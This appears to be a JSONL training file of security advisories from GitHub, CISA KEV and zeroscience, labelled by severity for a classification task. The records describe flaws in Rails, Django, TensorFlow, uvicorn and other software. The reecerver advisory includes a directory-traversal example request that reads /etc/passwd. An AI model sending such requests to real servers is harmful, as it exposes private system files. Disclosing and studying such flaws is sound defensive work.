-{"id": "a928aaffd7339bc81541", "text": "Withdrawn, accidental duplicate publish.\n\nThe http_basic_authenticate_with method in actionpack/lib/action_controller/metal/http_authentication.rb in the Basic Authentication implementation in Action Controller in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not use a constant-time algorithm for verifying credentials, which makes it easier for remote attackers to bypass authentication by measuring timing differences.", "text_raw": "Moderate severity vulnerability that affects actionpack\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\n\nThe http_basic_authenticate_with method in actionpack/lib/action_controller/metal/http_authentication.rb in the Basic Authentication implementation in Action Controller in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not use a constant-time algorithm for verifying credentials, which makes it easier for remote attackers to bypass authentication by measuring timing differences.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "b1399d33b6549ece4570", "text": "Downloads Resources over HTTP in go-ipfs-dep\n\nAffected versions of `go-ipfs-deps` insecurely download resources over HTTP.\n\n## Recommendation\n\nUpdate to version 0.4.4 or later.", "text_raw": "Downloads Resources over HTTP in go-ipfs-dep\n\n[Severity: HIGH]\n\nAffected versions of `go-ipfs-deps` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nUpdate to version 0.4.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "40f9137eb240a8e55a13", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.jelly.impl.Embedded (aka commons-jelly).", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.jelly.impl.Embedded (aka commons-jelly).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-23", "split": "train"}
-{"id": "33d3ba8c449b985052bc", "text": "WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Deletion Exploit", "text_raw": "WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Deletion Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-04-14", "split": "train"}
-{"id": "f48af73cf42e76674548", "text": "TCExam <=11.2.011 Multiple SQL Injection Vulnerabilities", "text_raw": "TCExam <=11.2.011 Multiple SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-07-13", "split": "train"}
-{"id": "ba898206ca4dd4c4694d", "text": "Uncontrolled Memory Consumption in Django\n\nDjango 1.11.x before 1.11.19, 2.0.x before 2.0.11, and 2.1.x before 2.1.6 allows Uncontrolled Memory Consumption via a malicious attacker-supplied value to the `django.utils.numberformat.format()` function.", "text_raw": "Uncontrolled Memory Consumption in Django\n\n[Severity: HIGH]\n\nDjango 1.11.x before 1.11.19, 2.0.x before 2.0.11, and 2.1.x before 2.1.6 allows Uncontrolled Memory Consumption via a malicious attacker-supplied value to the `django.utils.numberformat.format()` function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-12", "split": "train"}
-{"id": "878b5aa6304d91c236b6", "text": "Timing based private key exposure in Bouncy Castle\n\nBouncy Castle BC Java before 1.66, BC C# .NET before 1.8.7, BC-FJA before 1.0.2.1, BC before 1.66, BC-FNA before 1.0.1.1 have a timing issue within the EC math library that can expose information about the private key when an attacker is able to observe timing information for the generation of multiple deterministic ECDSA signatures.", "text_raw": "Timing based private key exposure in Bouncy Castle\n\n[Severity: MEDIUM]\n\nBouncy Castle BC Java before 1.66, BC C# .NET before 1.8.7, BC-FJA before 1.0.2.1, BC before 1.66, BC-FNA before 1.0.1.1 have a timing issue within the EC math library that can expose information about the private key when an attacker is able to observe timing information for the generation of multiple deterministic ECDSA signatures.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-13", "split": "train"}
-{"id": "58698a8b9f77e206f05f", "text": "StaticFile.fromUrl can leak presence of a directory\n\n### Impact\n\n`StaticFile.fromUrl` can leak the presence of a directory on a server when the `URL` scheme is not `file://`, and the URL points to a fetchable resource under its scheme and authority.  The function returns `F[None]`, indicating no resource, if `url.getFile` is a directory, without first checking the scheme or authority of the URL.  If a URL connection to the scheme and URL would return a stream, and the path in the URL exists as a directory on the server, the presence of the directory on the server could be inferred from the 404 response.  The contents and other metadata about the directory are not exposed.\n\nThis affects http4s versions:\n* 0.21.7 through 0.21.23\n* 0.22.0-M1 through 0.22.0-M8\n* 0.23.0-M1\n* 1.0.0-M1 through 1.0.0-M22\n\n### Patches\n\nThe [patch](https://github.com/http4s/http4s/commit/52e1890665410b4385e37b96bc49c5e3c708e4e9) is available in the following versions:\n\n* v0.21.24\n* v0.22.0-RC1\n* v0.23.0-RC1\n* v1.0.0-M23\n\nNote: a previous version of this advisory incorrectly referred to 0.22.0-M9 and 0.23.0-M2.\n\n### Workarounds\n\nDon't call `StaticFile.fromUrl` with non-file URLs.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [the http4s repository](https://github.com/http4s/http4s)\n* Disclose further vulnerabilities according to the [http4s security policy](https://github.com/http4s/http4s/blob/main/SECURITY.md)", "text_raw": "StaticFile.fromUrl can leak presence of a directory\n\n[Severity: MEDIUM]\n\n### Impact\n\n`StaticFile.fromUrl` can leak the presence of a directory on a server when the `URL` scheme is not `file://`, and the URL points to a fetchable resource under its scheme and authority.  The function returns `F[None]`, indicating no resource, if `url.getFile` is a directory, without first checking the scheme or authority of the URL.  If a URL connection to the scheme and URL would return a stream, and the path in the URL exists as a directory on the server, the presence of the directory on the server could be inferred from the 404 response.  The contents and other metadata about the directory are not exposed.\n\nThis affects http4s versions:\n* 0.21.7 through 0.21.23\n* 0.22.0-M1 through 0.22.0-M8\n* 0.23.0-M1\n* 1.0.0-M1 through 1.0.0-M22\n\n### Patches\n\nThe [patch](https://github.com/http4s/http4s/commit/52e1890665410b4385e37b96bc49c5e3c708e4e9) is available in the following versions:\n\n* v0.21.24\n* v0.22.0-RC1\n* v0.23.0-RC1\n* v1.0.0-M23\n\nNote: a previous version of this advisory incorrectly referred to 0.22.0-M9 and 0.23.0-M2.\n\n### Workarounds\n\nDon't call `StaticFile.fromUrl` with non-file URLs.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [the http4s repository](https://github.com/http4s/http4s)\n* Disclose further vulnerabilities according to the [http4s security policy](https://github.com/http4s/http4s/blob/main/SECURITY.md)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-28", "split": "train"}
-{"id": "949be3808f82e675940d", "text": "OctoRPKI lacks contextual out-of-bounds check when validating RPKI ROA maxLength values\n\nAny CA issuer in the RPKI can trick OctoRPKI prior to https://github.com/cloudflare/cfrpki/commit/a8db4e009ef217484598ba1fd1c595b54e0f6422 into emitting an invalid VRP \"MaxLength\" value, causing RTR sessions to terminate.\n\n### Impact\n\nAn attacker can use this to disable RPKI Origin Validation in a victim network (for example AS 13335 - Cloudflare) prior to launching a BGP hijack which during normal operations would be rejected as \"RPKI invalid\". Additionally, in certain deployments RTR session flapping in and of itself also could cause BGP routing churn, causing availability issues.\n\n### Patches\nhttps://github.com/cloudflare/cfrpki/commit/a8db4e009ef217484598ba1fd1c595b54e0f6422\n\nhttps://github.com/cloudflare/cfrpki/releases/tag/v1.3.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@cloudflare.com](security@cloudflare.com)", "text_raw": "OctoRPKI lacks contextual out-of-bounds check when validating RPKI ROA maxLength values\n\n[Severity: HIGH]\n\nAny CA issuer in the RPKI can trick OctoRPKI prior to https://github.com/cloudflare/cfrpki/commit/a8db4e009ef217484598ba1fd1c595b54e0f6422 into emitting an invalid VRP \"MaxLength\" value, causing RTR sessions to terminate. \n\n### Impact\n\nAn attacker can use this to disable RPKI Origin Validation in a victim network (for example AS 13335 - Cloudflare) prior to launching a BGP hijack which during normal operations would be rejected as \"RPKI invalid\". Additionally, in certain deployments RTR session flapping in and of itself also could cause BGP routing churn, causing availability issues.\n\n### Patches\nhttps://github.com/cloudflare/cfrpki/commit/a8db4e009ef217484598ba1fd1c595b54e0f6422\n\nhttps://github.com/cloudflare/cfrpki/releases/tag/v1.3.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@cloudflare.com](security@cloudflare.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "76caa8394e729e9862a3", "text": "Insertion of Sensitive Information into Log File, Invocation of Process Using Visible Sensitive Information, and \tExposure of Sensitive Information to an Unauthorized Actor in Ansible\n\nA security flaw was found in Ansible Engine, all Ansible 2.7.x versions prior to 2.7.17, all Ansible 2.8.x versions prior to 2.8.11 and all Ansible 2.9.x versions prior to 2.9.7, when managing kubernetes using the k8s module. Sensitive parameters such as passwords and tokens are passed to kubectl from the command line, not using an environment variable or an input configuration file. This will disclose passwords and tokens from process list and no_log directive from debug module would not have any effect making these secrets being disclosed on stdout and log files.", "text_raw": "Insertion of Sensitive Information into Log File, Invocation of Process Using Visible Sensitive Information, and \tExposure of Sensitive Information to an Unauthorized Actor in Ansible\n\n[Severity: MEDIUM]\n\nA security flaw was found in Ansible Engine, all Ansible 2.7.x versions prior to 2.7.17, all Ansible 2.8.x versions prior to 2.8.11 and all Ansible 2.9.x versions prior to 2.9.7, when managing kubernetes using the k8s module. Sensitive parameters such as passwords and tokens are passed to kubectl from the command line, not using an environment variable or an input configuration file. This will disclose passwords and tokens from process list and no_log directive from debug module would not have any effect making these secrets being disclosed on stdout and log files.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "a12ae0f2bbc7bb251b69", "text": "Out of bounds write in stackvector\n\nStackVec::extend used the lower and upper bounds from an Iterator's size_hint to determine how many items to push into the stack based vector. If the size_hint implementation returned a lower bound that was larger than the upper bound, StackVec would write out of bounds and overwrite memory on the stack. As mentioned by the size_hint documentation, size_hint is mainly for optimization and incorrect implementations should not lead to memory safety issues.", "text_raw": "Out of bounds write in stackvector\n\n[Severity: HIGH]\n\nStackVec::extend used the lower and upper bounds from an Iterator's size_hint to determine how many items to push into the stack based vector. If the size_hint implementation returned a lower bound that was larger than the upper bound, StackVec would write out of bounds and overwrite memory on the stack. As mentioned by the size_hint documentation, size_hint is mainly for optimization and incorrect implementations should not lead to memory safety issues.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "189de15b4258d0ebb7fd", "text": "Mail Gem Path Traversal vulnerability\n\nDirectory traversal vulnerability in `lib/mail/network/delivery_methods/file_delivery.rb` in the Mail gem before 2.4.4 for Ruby allows remote attackers to read arbitrary files via a `..` (dot dot) in the to parameter.", "text_raw": "Mail Gem Path Traversal vulnerability\n\n[Severity: MEDIUM]\n\nDirectory traversal vulnerability in `lib/mail/network/delivery_methods/file_delivery.rb` in the Mail gem before 2.4.4 for Ruby allows remote attackers to read arbitrary files via a `..` (dot dot) in the to parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "983e0a18c77b294358a9", "text": "Duplicate Advisory: Uncaught Exception in libpulse-binding\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-xvcg-2q82-r87j. This link is maintained to preserve external references.\n\n## Original Description\nAffected versions of this crate failed to catch panics crossing FFI boundaries via callbacks, which\nis a form of UB. This flaw was corrected by [this commit][1] which was included in version 2.6.0.", "text_raw": "Duplicate Advisory: Uncaught Exception in libpulse-binding\n\n[Severity: MEDIUM]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-xvcg-2q82-r87j. This link is maintained to preserve external references.\n\n## Original Description\nAffected versions of this crate failed to catch panics crossing FFI boundaries via callbacks, which\nis a form of UB. This flaw was corrected by [this commit][1] which was included in version 2.6.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "79506c55f66b1e37b85a", "text": "Async-h1 request smuggling possible with long unread bodies\n\n### Impact\nThis vulnerability affects any webserver that uses async-h1 behind a reverse proxy, including all such Tide applications.\n\nIf the server does not read the body of a request which is longer than some buffer length, async-h1 will attempt to read a subsequent request from the body content starting at that offset into the body.\n\nOne way to exploit this vulnerability would be for an adversary to craft a request such that the body contains a request that would not be noticed by a reverse proxy, allowing it to forge forwarded/x-forwarded headers. If an application trusted the authenticity of these headers, it could be misled by the smuggled request.\n\nAnother potential concern with this vulnerability is that if a reverse proxy is sending multiple http clients' requests along the same keep-alive connection, it would be possible for the smuggled request to specify a long content and capture another user's request in its body. This content could be captured in a post request to an endpoint that allows the content to be subsequently retrieved by the adversary.\n\n### Patches\nThis has been addressed in async-h1 2.3.0 and previous versions have been yanked.\n\n### Workarounds\nnone\n\n### References\nhttps://github.com/http-rs/async-h1/releases/tag/v2.3.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [async-h1](https://github.com/http-rs/async-h1)\n* Contact a core team member on [zulip](https://http-rs.zulip-chat.com) or [discord](https://discord.gg/x2gKzst)", "text_raw": "Async-h1 request smuggling possible with long unread bodies\n\n[Severity: MEDIUM]\n\n### Impact\nThis vulnerability affects any webserver that uses async-h1 behind a reverse proxy, including all such Tide applications.\n\nIf the server does not read the body of a request which is longer than some buffer length, async-h1 will attempt to read a subsequent request from the body content starting at that offset into the body.\n\nOne way to exploit this vulnerability would be for an adversary to craft a request such that the body contains a request that would not be noticed by a reverse proxy, allowing it to forge forwarded/x-forwarded headers. If an application trusted the authenticity of these headers, it could be misled by the smuggled request.\n\nAnother potential concern with this vulnerability is that if a reverse proxy is sending multiple http clients' requests along the same keep-alive connection, it would be possible for the smuggled request to specify a long content and capture another user's request in its body. This content could be captured in a post request to an endpoint that allows the content to be subsequently retrieved by the adversary.\n\n\n### Patches\nThis has been addressed in async-h1 2.3.0 and previous versions have been yanked.\n\n### Workarounds\nnone\n\n### References\nhttps://github.com/http-rs/async-h1/releases/tag/v2.3.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [async-h1](https://github.com/http-rs/async-h1)\n* Contact a core team member on [zulip](https://http-rs.zulip-chat.com) or [discord](https://discord.gg/x2gKzst)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "f8760b2e61c65d37a84f", "text": "Malicious Package in mogodb-core\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in mogodb-core\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "25d79df30fd6aa2c7a9d", "text": "Adobe Flash Player Use-After-Free Vulnerability\n\nAffected: Adobe Flash Player\n\nAdobe Flash Player contains a use-after-free vulnerability that could allow for code execution.\n\nRequired Action: The impacted product is end-of-life and should be disconnected if still in use.\n\nRansomware: Known\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Adobe Flash Player Use-After-Free Vulnerability\n\nAffected: Adobe Flash Player\n\nAdobe Flash Player contains a use-after-free vulnerability that could allow for code execution.\n\nRequired Action: The impacted product is end-of-life and should be disconnected if still in use.\n\nRansomware: Known\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "fdbcbb36e7477c5a4300", "text": "Improper Input Validation in Hibernate Validator\n\nA flaw was found in Hibernate Validator version 6.1.2.Final. A bug in the message interpolation processor enables invalid EL expressions to be evaluated as if they were valid. This flaw allows attackers to bypass input sanitation (escaping, stripping) controls that developers may have put in place when handling user-controlled data in error messages.", "text_raw": "Improper Input Validation in Hibernate Validator\n\n[Severity: MEDIUM]\n\nA flaw was found in Hibernate Validator version 6.1.2.Final. A bug in the message interpolation processor enables invalid EL expressions to be evaluated as if they were valid. This flaw allows attackers to bypass input sanitation (escaping, stripping) controls that developers may have put in place when handling user-controlled data in error messages.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-04", "split": "train"}
-{"id": "e6408596b49934cdedf4", "text": "Log injection in uvicorn\n\nThis affects all versions of package uvicorn. The request logger provided by the package is vulnerable to ASNI escape sequence injection. Whenever any HTTP request is received, the default behaviour of uvicorn is to log its details to either the console or a log file. When attackers request crafted URLs with percent-encoded escape sequences, the logging component will log the URL after it's been processed with urllib.parse.unquote, therefore converting any percent-encoded characters into their single-character equivalent, which can have special meaning in terminal emulators. By requesting URLs with crafted paths, attackers can: * Pollute uvicorn's access logs, therefore jeopardising the integrity of such files. * Use ANSI sequence codes to attempt to interact with the terminal emulator that's displaying the logs (either in real time or from a file).", "text_raw": "Log injection in uvicorn\n\n[Severity: HIGH]\n\nThis affects all versions of package uvicorn. The request logger provided by the package is vulnerable to ASNI escape sequence injection. Whenever any HTTP request is received, the default behaviour of uvicorn is to log its details to either the console or a log file. When attackers request crafted URLs with percent-encoded escape sequences, the logging component will log the URL after it's been processed with urllib.parse.unquote, therefore converting any percent-encoded characters into their single-character equivalent, which can have special meaning in terminal emulators. By requesting URLs with crafted paths, attackers can: * Pollute uvicorn's access logs, therefore jeopardising the integrity of such files. * Use ANSI sequence codes to attempt to interact with the terminal emulator that's displaying the logs (either in real time or from a file).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "05e25b6b251287695eff", "text": "Denial of Service in node-sass\n\nAffected versions of `node-sass` are vulnerable to Denial of Service (DoS). Crafted objects passed to the `renderSync` function may trigger C++ assertions in `CustomImporterBridge::get_importer_entry` and `CustomImporterBridge::post_process_return_value` that crash the Node process. This may allow attackers to crash the system's running Node process and lead to Denial of Service.\n\n## Recommendation\n\nUpgrade to version 4.13.1 or later", "text_raw": "Denial of Service in node-sass\n\n[Severity: MEDIUM]\n\nAffected versions of `node-sass` are vulnerable to Denial of Service (DoS). Crafted objects passed to the `renderSync` function may trigger C++ assertions in `CustomImporterBridge::get_importer_entry` and `CustomImporterBridge::post_process_return_value` that crash the Node process. This may allow attackers to crash the system's running Node process and lead to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 4.13.1 or later", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "b93fb90279ec884bc16f", "text": "Directory Traversal in reecerver\n\nAffected versions of `reecerver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in reecerver\n\n[Severity: HIGH]\n\nAffected versions of `reecerver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "7b67a84a649d5ddb528c", "text": "Read on uninitialized buffer in postscript\n\nAffected versions of this crate passes an uninitialized buffer to a user-provided Read implementation.\n\nArbitrary Read implementations can read from the uninitialized buffer (memory exposure) and also can return incorrect number of bytes written to the buffer. Reading from uninitialized memory produces undefined values that can quickly invoke undefined behavior.\n\nThis flaw was fixed in commit `8026286` by zero-initializing the buffer before handing to a user-provided Read.", "text_raw": "Read on uninitialized buffer in postscript\n\n[Severity: HIGH]\n\nAffected versions of this crate passes an uninitialized buffer to a user-provided Read implementation.\n\nArbitrary Read implementations can read from the uninitialized buffer (memory exposure) and also can return incorrect number of bytes written to the buffer. Reading from uninitialized memory produces undefined values that can quickly invoke undefined behavior.\n\nThis flaw was fixed in commit `8026286` by zero-initializing the buffer before handing to a user-provided Read.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b77688beb3308a47d584", "text": "Unchecked vector pre-allocation\n\nAffected versions of this crate pre-allocate memory on deserializing raw buffers without checking whether there is sufficient data available. This allows an attacker to do denial-of-service attacks by sending small msgpack messages that allocate gigabytes of memory.", "text_raw": "Unchecked vector pre-allocation\n\n[Severity: MEDIUM]\n\nAffected versions of this crate pre-allocate memory on deserializing raw buffers without checking whether there is sufficient data available. This allows an attacker to do denial-of-service attacks by sending small msgpack messages that allocate gigabytes of memory.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ddd6e781b0f83bfcbb84", "text": "QtWeb Internet Browser 2.0 (build 043) Remote Denial of Service Exploit (smile)", "text_raw": "QtWeb Internet Browser 2.0 (build 043) Remote Denial of Service Exploit (smile)\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-04-01", "split": "train"}
-{"id": "6c30749668a8b8de606e", "text": "VMware ESXi and Horizon DaaS OpenSLP Heap-Based Buffer Overflow Vulnerability\n\nAffected: VMware VMware ESXi and Horizon DaaS\n\nVMware ESXi and Horizon Desktop as a Service (DaaS) OpenSLP contains a heap-based buffer overflow vulnerability that allows an attacker with network access to port 427 to overwrite the heap of the OpenSLP service to perform remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "VMware ESXi and Horizon DaaS OpenSLP Heap-Based Buffer Overflow Vulnerability\n\nAffected: VMware VMware ESXi and Horizon DaaS\n\nVMware ESXi and Horizon Desktop as a Service (DaaS) OpenSLP contains a heap-based buffer overflow vulnerability that allows an attacker with network access to port 427 to overwrite the heap of the OpenSLP service to perform remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2134a232681396a25e93", "text": "Craft CMS Cross-site Scripting Vulnerability\n\nAn issue was discovered in Craft CMS before 3.6.0. In some circumstances, a potential XSS vulnerability existed in connection with front-end forms that accepted user uploads.", "text_raw": "Craft CMS Cross-site Scripting Vulnerability\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Craft CMS before 3.6.0. In some circumstances, a potential XSS vulnerability existed in connection with front-end forms that accepted user uploads.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "0e681ec603bddecd0edc", "text": "Denial of Service in Tensorflow\n\n### Impact\nChanging the TensorFlow's `SavedModel` protocol buffer and altering the name of required keys results in segfaults and data corruption while loading the model. This can cause a denial of service in products using `tensorflow-serving` or other inference-as-a-service installments.\n\nWe have added fixes to this in f760f88b4267d981e13f4b302c437ae800445968 and fcfef195637c6e365577829c4d67681695956e7d (both going into TensorFlow 2.2.0 and 2.3.0 but not yet backported to earlier versions). However, this was not enough, as #41097 reports a different failure mode.\n\n### Patches\nWe have patched the issue in adf095206f25471e864a8e63a0f1caef53a0e3a6 and will release patch releases for all versions between 1.15 and 2.3. Patch releases for versions between 1.15 and 2.1 will also contain cherry-picks of f760f88b4267d981e13f4b302c437ae800445968 and fcfef195637c6e365577829c4d67681695956e7d.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Shuaike Dong, from Alipay Tian Qian Security Lab && Lab for Applied Security Research, CUHK.", "text_raw": "Denial of Service in Tensorflow\n\n[Severity: HIGH]\n\n### Impact\nChanging the TensorFlow's `SavedModel` protocol buffer and altering the name of required keys results in segfaults and data corruption while loading the model. This can cause a denial of service in products using `tensorflow-serving` or other inference-as-a-service installments.\n\nWe have added fixes to this in f760f88b4267d981e13f4b302c437ae800445968 and fcfef195637c6e365577829c4d67681695956e7d (both going into TensorFlow 2.2.0 and 2.3.0 but not yet backported to earlier versions). However, this was not enough, as #41097 reports a different failure mode.\n\n### Patches\nWe have patched the issue in adf095206f25471e864a8e63a0f1caef53a0e3a6 and will release patch releases for all versions between 1.15 and 2.3. Patch releases for versions between 1.15 and 2.1 will also contain cherry-picks of f760f88b4267d981e13f4b302c437ae800445968 and fcfef195637c6e365577829c4d67681695956e7d.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Shuaike Dong, from Alipay Tian Qian Security Lab && Lab for Applied Security Research, CUHK.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "bd9abd54171217554580", "text": "Predictable SIF UUID Identifiers in github.com/sylabs/sif\n\n### Impact\n\nThe `siftool new` command and [func siftool.New()](https://pkg.go.dev/github.com/sylabs/sif/pkg/siftool#New) produce predictable UUID identifiers due to insecure randomness in the version of the `github.com/satori/go.uuid` module used as a dependency.\n\n### Patches\n\nA patch is available in version >= v1.2.3 of the module. Users are encouraged to upgrade.\n\nThe patch is commit https://github.com/sylabs/sif/commit/193962882122abf85ff5f5bcc86404933e71c07d\n\n### Workarounds\nUsers passing [CreateInfo struct](https://pkg.go.dev/github.com/sylabs/sif/pkg/sif#CreateInfo) should ensure the `ID` field is generated using a version of `github.com/satori/go.uuid` that is not vulnerable to this issue. Unfortunately, the latest tagged release is vulnerable to this issue. One way to obtain a non-vulnerable version is:\n\n```\ngo get github.com/satori/go.uuid@75cca531ea763666bc46e531da3b4c3b95f64557\n```\n\n### References\n* https://github.com/satori/go.uuid/issues/73\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/sylabs/sif](https://github.com/sylabs/sif/issues/new)\n* Email us at [security@sylabs.io](mailto:security@sylabs.io)", "text_raw": "Predictable SIF UUID Identifiers in github.com/sylabs/sif\n\n[Severity: HIGH]\n\n### Impact\n\nThe `siftool new` command and [func siftool.New()](https://pkg.go.dev/github.com/sylabs/sif/pkg/siftool#New) produce predictable UUID identifiers due to insecure randomness in the version of the `github.com/satori/go.uuid` module used as a dependency.\n\n### Patches\n\nA patch is available in version >= v1.2.3 of the module. Users are encouraged to upgrade.\n\nThe patch is commit https://github.com/sylabs/sif/commit/193962882122abf85ff5f5bcc86404933e71c07d\n\n### Workarounds\nUsers passing [CreateInfo struct](https://pkg.go.dev/github.com/sylabs/sif/pkg/sif#CreateInfo) should ensure the `ID` field is generated using a version of `github.com/satori/go.uuid` that is not vulnerable to this issue. Unfortunately, the latest tagged release is vulnerable to this issue. One way to obtain a non-vulnerable version is:\n\n```\ngo get github.com/satori/go.uuid@75cca531ea763666bc46e531da3b4c3b95f64557\n```\n\n### References\n* https://github.com/satori/go.uuid/issues/73\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/sylabs/sif](https://github.com/sylabs/sif/issues/new)\n* Email us at [security@sylabs.io](mailto:security@sylabs.io)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "1c2ed53cf6293ec3d798", "text": "prismjs Regular Expression Denial of Service vulnerability\n\nPrism is a syntax highlighting library. The prismjs package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted HTML comment as input may cause an application to consume an excessive amount of CPU.", "text_raw": "prismjs Regular Expression Denial of Service vulnerability\n\n[Severity: MEDIUM]\n\nPrism is a syntax highlighting library. The prismjs package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted HTML comment as input may cause an application to consume an excessive amount of CPU.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
